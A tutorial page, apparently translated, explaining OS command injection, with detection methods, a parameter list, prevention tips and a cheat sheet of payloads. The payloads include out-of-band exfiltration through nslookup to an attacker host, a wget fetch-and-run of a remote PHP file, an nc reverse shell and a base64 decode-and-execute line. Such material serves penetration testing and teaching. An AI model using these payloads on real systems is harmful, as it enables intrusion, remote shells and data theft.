JIYIK CN >

What is command injection?

Command injection is an attack whose goal is to execute arbitrary commands on the host operating system through a vulnerable application. These types of attacks are possible when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to the system shell. In such an attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Often, they are possible due to insufficient input validation.

This attack is different from code injection because code injection allows the attacker to add their own code which is then executed by the application. In command injection, the attacker extends the default functionality of the application to execute system commands without injecting code.

What are the effects of command injection?

This vulnerability allows an attacker to run operating system commands with the privileges of the vulnerable application. Depending on the privileges of the current user, this vulnerability could lead to access to the system, disclosure of critical sensitive data, and could lead to complete control takeover of the server or system.

How to detect and exploit them?

Assume that you are testing the parameters of the following URL during a penetration test:

https://vulnerable-website.com/endpoint?parameter=123

To detect if the source code is not protected against command injection, we can try several methods:

Insert special characters to detect delimiters:

We can inject some special characters to see if the application blocks anything that could be used for command injection:

&
;
换行符 (0x0a or \n)
&&
|
||

If the application does not throw any error messages, we can try to inject our command after using one of these delimiters.

https://vulnerable-website.com/endpoint?parameter=1|whoami

Detecting blind operating system command injection

Time delay

Most operating system command injections are blind, which does not provide any output for the executed command. To verify the vulnerability, we can use a time delay to verify the command injection after detecting the allowed special characters, as shown below:

https://vulnerable-website.com/endpoint?parameter=x||ping+-c+10+127.0.0.1||

Redirecting Output

We can also redirect the output of the command in an output file and then retrieve that file on the browser. A payload similar to the following can be used:

https://vulnerable-website.com/endpoint?parameter=||whoami>/var/www/images/output.txt||

OOB (Out Of Band) Usage

We can also trigger OOB network interactions with external servers such as Burp Collaborator. We can use a payload similar to the following:

https://vulnerable-website.com/endpoint?parameter=x||nslookup+burp.collaborator.address||

Alternatively, we can use a payload similar to the following to leak the output of the command:

https://vulnerable-website.com/endpoint?parameter=||nslookup+`whoami`.burp.collaborator.address||

The most common parameters that can be considered when testing for command injection are as follows:

cmd

• exec
• command
• execute
• ping
• query
• jump
• code
• reg
• do
• func
• arg
• option
• load
• process
• step
• read
• function
• req
• feature
• exe
• module
• payload
• run
• print

Notes

Special characters

&
;
换行符 (0x0a or \n)
&&
|
||
command \`
$(command )

Linux command:

whoami
ifconfig
ls
uname -a

Windows command:

whoami
ipconfig
dir
ver

Supported by both Unix and Windows

ls||id; ls ||id; ls|| id; ls || id 
ls|id; ls |id; ls| id; ls | id 
ls&&id; ls &&id; ls&& id; ls && id 
ls&id; ls &id; ls& id; ls & id 
ls %0A id

Time delay command

& ping -c 10 127.0.0.1 &

Redirecting Output

& whoami > /var/www/images/output.txt &

OOB (Out Of Band) Usage

& nslookup attacker-server.com &
& nslookup `whoami`.attacker-server.com &

Bypassing WAF

vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload

How to prevent it?

There are many ways to prevent this vulnerability. Here are a few suggestions:

• Avoid using shell execution functions. If unavoidable, limit their use to very specific use cases.
• Perform proper input validation when passing user input into the shell to execute commands.
• Use secure APIs when accepting user input into your application.
• Escape special characters when the security API is not available.